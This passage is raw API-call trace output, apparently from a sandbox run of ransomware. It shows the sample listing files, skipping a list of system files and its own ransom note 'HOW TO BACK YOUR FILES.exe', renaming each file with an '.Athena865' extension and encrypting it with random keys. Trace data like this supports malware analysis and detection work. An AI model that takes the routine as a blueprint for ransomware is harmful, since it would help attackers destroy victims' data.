[0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.629] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.629] CloseHandle (hObject=0x154) returned 1 [0048.629] CloseHandle (hObject=0x17c) returned 1 [0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.630] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".") returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="..") returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="windows") returned -1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="temp") returned -1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="boot") returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="perflogs") returned -1 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.630] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23 [0048.630] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.INFOPATH.14.1033.hxn" | out: lpString1="MS.INFOPATH.14.1033.hxn") returned="MS.INFOPATH.14.1033.hxn" [0048.630] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23 [0048.630] lstrlenW (lpString="Athena865") returned 9 [0048.630] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.630] lstrlenW (lpString=".dll") returned 4 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".dll") returned 1 [0048.630] lstrlenW (lpString=".lnk") returned 4 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".lnk") returned 1 [0048.630] lstrlenW (lpString=".ini") returned 4 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".ini") returned 1 [0048.630] lstrlenW (lpString=".sys") returned 4 [0048.630] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".sys") returned 1 [0048.630] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23 [0048.630] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.Athena865") returned 63 [0048.631] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.632] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.632] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=344) returned 1 [0048.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.632] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.633] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.633] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.633] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.637] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.638] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.638] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.638] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.639] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.639] CloseHandle (hObject=0x154) returned 1 [0048.639] CloseHandle (hObject=0x17c) returned 1 [0048.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.639] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1 [0048.639] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.639] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.639] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".") returned 1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="..") returned 1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="windows") returned -1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="temp") returned -1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="boot") returned 1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="perflogs") returned -1 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.640] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29 [0048.640] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.INFOPATHEDITOR.14.1033.hxn" | out: lpString1="MS.INFOPATHEDITOR.14.1033.hxn") returned="MS.INFOPATHEDITOR.14.1033.hxn" [0048.640] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29 [0048.640] lstrlenW (lpString="Athena865") returned 9 [0048.640] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.640] lstrlenW (lpString=".dll") returned 4 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".dll") returned 1 [0048.640] lstrlenW (lpString=".lnk") returned 4 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".lnk") returned 1 [0048.640] lstrlenW (lpString=".ini") returned 4 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".ini") returned 1 [0048.640] lstrlenW (lpString=".sys") returned 4 [0048.640] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".sys") returned 1 [0048.640] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29 [0048.640] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.Athena865") returned 69 [0048.640] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.641] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.641] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=380) returned 1 [0048.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.642] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.642] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.642] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x154 [0048.644] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000 [0048.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.645] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.645] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.646] CloseHandle (hObject=0x154) returned 1 [0048.646] CloseHandle (hObject=0x17c) returned 1 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.647] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".") returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="..") returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="windows") returned -1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="temp") returned -1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="boot") returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="perflogs") returned -1 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.647] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23 [0048.647] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.MSACCESS.14.1033.hxn" | out: lpString1="MS.MSACCESS.14.1033.hxn") returned="MS.MSACCESS.14.1033.hxn" [0048.647] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23 [0048.647] lstrlenW (lpString="Athena865") returned 9 [0048.647] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.647] lstrlenW (lpString=".dll") returned 4 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".dll") returned 1 [0048.647] lstrlenW (lpString=".lnk") returned 4 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".lnk") returned 1 [0048.647] lstrlenW (lpString=".ini") returned 4 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".ini") returned 1 [0048.647] lstrlenW (lpString=".sys") returned 4 [0048.647] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".sys") returned 1 [0048.647] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23 [0048.647] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.Athena865") returned 63 [0048.647] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.649] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.649] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=344) returned 1 [0048.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.649] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.650] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.650] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.650] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.654] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.655] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.656] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.656] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.656] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.657] CloseHandle (hObject=0x154) returned 1 [0048.657] CloseHandle (hObject=0x17c) returned 1 [0048.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.657] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".") returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="..") returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="windows") returned -1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="temp") returned -1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="boot") returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="perflogs") returned -1 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.657] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27 [0048.657] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.MSACCESS.DEV.14.1033.hxn" | out: lpString1="MS.MSACCESS.DEV.14.1033.hxn") returned="MS.MSACCESS.DEV.14.1033.hxn" [0048.657] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27 [0048.657] lstrlenW (lpString="Athena865") returned 9 [0048.657] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.657] lstrlenW (lpString=".dll") returned 4 [0048.657] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.658] lstrlenW (lpString=".lnk") returned 4 [0048.658] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.658] lstrlenW (lpString=".ini") returned 4 [0048.658] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.658] lstrlenW (lpString=".sys") returned 4 [0048.658] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.658] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27 [0048.658] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.Athena865") returned 67 [0048.658] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.658] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.659] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=368) returned 1 [0048.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 